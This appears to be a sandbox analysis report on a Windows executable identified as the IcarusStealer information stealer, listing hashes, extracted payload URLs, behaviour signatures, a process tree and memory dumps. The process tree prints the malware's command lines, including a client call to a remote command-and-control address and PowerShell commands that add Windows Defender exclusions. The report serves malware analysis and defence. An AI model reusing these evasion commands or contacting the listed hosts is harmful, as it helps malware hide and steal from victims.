Overview

overview

10

Static

static

3

02d13710a5...17.exe

windows7-x64

10

02d13710a5...17.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    145s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10/03/2024, 01:01

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    02d13710a5a788759319df4d64b95c17.exe

  • Size

    494KB

  • MD5

    02d13710a5a788759319df4d64b95c17

  • SHA1

    166121845fb2f40cc9febc35dea432696e388bec

  • SHA256

    5422c44ddaea8b411bd457cd24c33c1c1fa8eed02dbdb35338da412f2be1dd33

  • SHA512

    0a0a9c7ef30d0d3e71141684e796cfc78eb9d4689e37ae6d66123dfdd8a12df55dd424c47cd1d75068c6b8ff16512da2d607b69a6bc6cbcfba01b8063311171c

  • SSDEEP

    12288:zhGwluLut6N6LqQzJqkKAulc84bYBbuB1t4cWWzDKuVAccIpGNJ+QY:VBZ6N6LqQzJqk/

Score
10/10
icarusstealerpersistencestealer

Malware Config

Extracted

Family

icarusstealer

Attributes
  • payload_url

    https://blackhatsec.org/add.jpg

    https://blackhatsec.org/remove.jpg

Signatures

  • IcarusStealer

    Icarus is a modular stealer written in C# First adverts in July 2022.

    stealericarusstealer
  • Modifies Installed Components in the registry 2 TTPs 1 IoCs
    persistence
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 22 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 10 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 35 IoCs
  • Suspicious use of FindShellTrayWindow 49 IoCs
  • Suspicious use of SendNotifyMessage 21 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\02d13710a5a788759319df4d64b95c17.exe
    "C:\Users\Admin\AppData\Local\Temp\02d13710a5a788759319df4d64b95c17.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:3956
    • C:\Windows\explorer.exe
      "C:\Windows\explorer.exe"
      2⤵
      • Modifies Installed Components in the registry
      • Enumerates connected drives
      • Checks SCSI registry key(s)
      • Modifies registry class
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:3748
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" ICARUS_Client 147.185.221.17 22817 vUiuCXqqM
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3160
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe & exit
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4520
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3376
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath cvtres.exe & exit
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3852
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath cvtres.exe
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4908
  • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
    "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
    1⤵
    • Suspicious use of SetWindowsHookEx
    PID:4844
  • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
    "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:3436
  • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
    "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:4712
  • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
    "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:4908
  • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
    "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:1136
  • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
    "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:2052
  • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
    "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
    1⤵
      PID:912

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
      Filesize

      2KB

      MD5

      3d086a433708053f9bf9523e1d87a4e8

      SHA1

      b3ab5d4f282a4c8fe8c3005b8a557ed5a0e37f28

      SHA256

      6f8fd1b8d9788ad54eaeee329232187e24b7b43393a01aeba2d6e9675231fb69

      SHA512

      931ae42b4c68a4507ff2342332b08eb407050d47cf4176137ea022d0f6e513c689e998445a04c6d18d4877391705c586bfce0234632b898d41aaed0957996dfd

      Download Submit

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      Filesize

      16KB

      MD5

      342b634b1020a9e34233b281aa2ab6ce

      SHA1

      008319d2d6de94ab2b8eaf6ab866b761eba6a402

      SHA256

      81702baae614dd6c4c066d1cf54ec013d3b06da758b8b65f17f4090ea1989f16

      SHA512

      d6a086070268a3364d7285212d7d893b9e8ece43e3a0e70fe240a0aa19f119ee7aa5e340c6f316dc65cd32c1b0003962284a3072f206fcbb7ed79ad6cda1284b

      Download Submit

    • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\TokenBroker\Cache\fbaf94e759052658216786bfbabcdced1b67a5c2.tbres
      Filesize

      2KB

      MD5

      16b06fff2322c871abce03e736a5da12

      SHA1

      fdde26ff04add64e6adb1330e79dfb72f8a57443

      SHA256

      331fe5c49ede8fbc79bb0edf31ba8db330b10e650c2e908818a04aed97540919

      SHA512

      6877a0dbdace484d434f062eb5999ccee9a43e48a6a534e2659b90c148c0d5234832335c6e7eb4dac4be1df1c07a83ba645f953e5c258171d9ce3ba11110f13d

      Download Submit

    • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\AppIconCache\100\Microsoft_Office_SETLANG_EXE_15
      Filesize

      36KB

      MD5

      0e2a09c8b94747fa78ec836b5711c0c0

      SHA1

      92495421ad887f27f53784c470884802797025ad

      SHA256

      0c1cdbbf6d974764aad46477863059eaec7b1717a7d26b025f0f8fe24338bb36

      SHA512

      61530a33a6109467962ba51371821ea55bb36cd2abc0e7a15f270abf62340e9166e66a1b10f4de9a306b368820802c4adb9653b9a5acd6f1e825e60128fd2409

      Download Submit

    • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\AppIconCache\100\Microsoft_Windows_ControlPanel
      Filesize

      36KB

      MD5

      fb5f8866e1f4c9c1c7f4d377934ff4b2

      SHA1

      d0a329e387fb7bcba205364938417a67dbb4118a

      SHA256

      1649ec9493be27f76ae7304927d383f8a53dd3e41ea1678bacaff33120ea4170

      SHA512

      0fbe2843dfeab7373cde0643b20c073fdc2fcbefc5ae581fd1656c253dfa94e8bba4d348e95cc40d1e872456ecca894b462860aeac8b92cedb11a7cad634798c

      Download Submit

    • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133545061093610127.txt
      Filesize

      74KB

      MD5

      c09e63e4b960a163934b3c29f3bd2cc9

      SHA1

      d3a43b35c14ae2e353a1a15c518ab2595f6a0399

      SHA256

      308deca5e1ef4d875fbe0aff3ce4b0b575b28e643dffda819d4390ec77faf157

      SHA512

      5ca3321034dff47e3afe0b0bdfaffc08782991660910a29375a8e0363794b78247282aba65dbd882ae225aa140ae63927dfd0946a441ee6fa64a1d8c146777b9

      Download Submit

    • C:\Users\Admin\AppData\Local\Packages\microsoft.windows.search_cw5n1h2txyewy\AC\Microsoft\Internet Explorer\DOMStore\QDDM1QX5\microsoft.windows[1].xml
      Filesize

      96B

      MD5

      2415f1b0b1e5150e9f1e871081fd1fad

      SHA1

      a79e4bfddc3daf75f059fda3547bd18282d993f7

      SHA256

      3eff25035403aba506d0dbf69c76a22fa90ec66d2094cbf39bc5267a850902ae

      SHA512

      5d05da9ec1471dbf91f0c474c8db3897130543ff3c4da70724ce3a36adc38f628264c3dae4f54caef493f7593a0986a944dda0e19e947f3dfc34fc16fbd3e6bb

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_a00cugk4.e1c.ps1
      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      Download Submit

    • memory/1136-171-0x000001E570980000-0x000001E5709A0000-memory.dmp

      Filesize

      128KB

      Download

    • memory/1136-175-0x000001E570D50000-0x000001E570D70000-memory.dmp

      Filesize

      128KB

      Download

    • memory/1136-173-0x000001E570940000-0x000001E570960000-memory.dmp

      Filesize

      128KB

      Download

    • memory/2052-190-0x0000019003C90000-0x0000019003CB0000-memory.dmp

      Filesize

      128KB

      Download

    • memory/2052-192-0x0000019003C50000-0x0000019003C70000-memory.dmp

      Filesize

      128KB

      Download

    • memory/2052-194-0x0000019004060000-0x0000019004080000-memory.dmp

      Filesize

      128KB

      Download

    • memory/3160-107-0x0000000004D60000-0x0000000004D70000-memory.dmp

      Filesize

      64KB

      Download

    • memory/3160-5-0x0000000000400000-0x0000000000424000-memory.dmp

      Filesize

      144KB

      Download

    • memory/3160-69-0x0000000074BE0000-0x0000000075390000-memory.dmp

      Filesize

      7.7MB

      Download

    • memory/3160-8-0x0000000074BE0000-0x0000000075390000-memory.dmp

      Filesize

      7.7MB

      Download

    • memory/3160-9-0x0000000004D60000-0x0000000004D70000-memory.dmp

      Filesize

      64KB

      Download

    • memory/3160-10-0x00000000055F0000-0x0000000005B94000-memory.dmp

      Filesize

      5.6MB

      Download

    • memory/3376-15-0x0000000005830000-0x0000000005E58000-memory.dmp

      Filesize

      6.2MB

      Download

    • memory/3376-58-0x0000000070060000-0x00000000700AC000-memory.dmp

      Filesize

      304KB

      Download

    • memory/3376-12-0x0000000074BE0000-0x0000000075390000-memory.dmp

      Filesize

      7.7MB

      Download

    • memory/3376-41-0x00000000065D0000-0x00000000065EE000-memory.dmp

      Filesize

      120KB

      Download

    • memory/3376-42-0x0000000006610000-0x000000000665C000-memory.dmp

      Filesize

      304KB

      Download

    • memory/3376-13-0x00000000051F0000-0x0000000005200000-memory.dmp

      Filesize

      64KB

      Download

    • memory/3376-14-0x00000000051F0000-0x0000000005200000-memory.dmp

      Filesize

      64KB

      Download

    • memory/3376-20-0x0000000005F10000-0x0000000005F76000-memory.dmp

      Filesize

      408KB

      Download

    • memory/3376-11-0x0000000002FF0000-0x0000000003026000-memory.dmp

      Filesize

      216KB

      Download

    • memory/3376-73-0x0000000007B70000-0x0000000007C06000-memory.dmp

      Filesize

      600KB

      Download

    • memory/3376-16-0x0000000005740000-0x0000000005762000-memory.dmp

      Filesize

      136KB

      Download

    • memory/3376-30-0x00000000060F0000-0x0000000006156000-memory.dmp

      Filesize

      408KB

      Download

    • memory/3376-71-0x00000000051F0000-0x0000000005200000-memory.dmp

      Filesize

      64KB

      Download

    • memory/3376-85-0x0000000074BE0000-0x0000000075390000-memory.dmp

      Filesize

      7.7MB

      Download

    • memory/3376-77-0x0000000007C30000-0x0000000007C4A000-memory.dmp

      Filesize

      104KB

      Download

    • memory/3376-76-0x0000000007B40000-0x0000000007B54000-memory.dmp

      Filesize

      80KB

      Download

    • memory/3436-97-0x00000173C9B80000-0x00000173C9BA0000-memory.dmp

      Filesize

      128KB

      Download

    • memory/3436-93-0x00000173C97B0000-0x00000173C97D0000-memory.dmp

      Filesize

      128KB

      Download

    • memory/3436-95-0x00000173C9770000-0x00000173C9790000-memory.dmp

      Filesize

      128KB

      Download

    • memory/3748-86-0x00000000029C0000-0x00000000029C1000-memory.dmp

      Filesize

      4KB

      Download

    • memory/3956-1-0x0000000074BE0000-0x0000000075390000-memory.dmp

      Filesize

      7.7MB

      Download

    • memory/3956-2-0x0000000004FE0000-0x000000000507C000-memory.dmp

      Filesize

      624KB

      Download

    • memory/3956-3-0x0000000005080000-0x0000000005112000-memory.dmp

      Filesize

      584KB

      Download

    • memory/3956-4-0x00000000052D0000-0x00000000052E0000-memory.dmp

      Filesize

      64KB

      Download

    • memory/3956-7-0x0000000074BE0000-0x0000000075390000-memory.dmp

      Filesize

      7.7MB

      Download

    • memory/3956-0-0x00000000006D0000-0x0000000000752000-memory.dmp

      Filesize

      520KB

      Download

    • memory/4712-117-0x0000024611EC0000-0x0000024611EE0000-memory.dmp

      Filesize

      128KB

      Download

    • memory/4712-119-0x00000246122D0000-0x00000246122F0000-memory.dmp

      Filesize

      128KB

      Download

    • memory/4712-115-0x0000024611F00000-0x0000024611F20000-memory.dmp

      Filesize

      128KB

      Download

    • memory/4908-45-0x0000000070060000-0x00000000700AC000-memory.dmp

      Filesize

      304KB

      Download

    • memory/4908-152-0x000001832CC10000-0x000001832CC30000-memory.dmp

      Filesize

      128KB

      Download

    • memory/4908-56-0x0000000006D90000-0x0000000006DAE000-memory.dmp

      Filesize

      120KB

      Download

    • memory/4908-55-0x00000000049A0000-0x00000000049B0000-memory.dmp

      Filesize

      64KB

      Download

    • memory/4908-44-0x0000000006DD0000-0x0000000006E02000-memory.dmp

      Filesize

      200KB

      Download

    • memory/4908-84-0x0000000074BE0000-0x0000000075390000-memory.dmp

      Filesize

      7.7MB

      Download

    • memory/4908-68-0x00000000077E0000-0x0000000007E5A000-memory.dmp

      Filesize

      6.5MB

      Download

    • memory/4908-43-0x000000007F7F0000-0x000000007F800000-memory.dmp

      Filesize

      64KB

      Download

    • memory/4908-150-0x000001832C800000-0x000001832C820000-memory.dmp

      Filesize

      128KB

      Download

    • memory/4908-57-0x00000000070B0000-0x0000000007153000-memory.dmp

      Filesize

      652KB

      Download

    • memory/4908-148-0x000001832C840000-0x000001832C860000-memory.dmp

      Filesize

      128KB

      Download

    • memory/4908-31-0x00000000057D0000-0x0000000005B24000-memory.dmp

      Filesize

      3.3MB

      Download

    • memory/4908-17-0x0000000074BE0000-0x0000000075390000-memory.dmp

      Filesize

      7.7MB

      Download

    • memory/4908-19-0x00000000049A0000-0x00000000049B0000-memory.dmp

      Filesize

      64KB

      Download

    • memory/4908-18-0x00000000049A0000-0x00000000049B0000-memory.dmp

      Filesize

      64KB

      Download

    • memory/4908-72-0x00000000071C0000-0x00000000071CA000-memory.dmp

      Filesize

      40KB

      Download

    • memory/4908-78-0x0000000007460000-0x0000000007468000-memory.dmp

      Filesize

      32KB

      Download

    • memory/4908-70-0x0000000006E80000-0x0000000006E9A000-memory.dmp

      Filesize

      104KB

      Download

    • memory/4908-75-0x0000000007370000-0x000000000737E000-memory.dmp

      Filesize

      56KB

      Download

    • memory/4908-74-0x0000000007340000-0x0000000007351000-memory.dmp

      Filesize

      68KB

      Download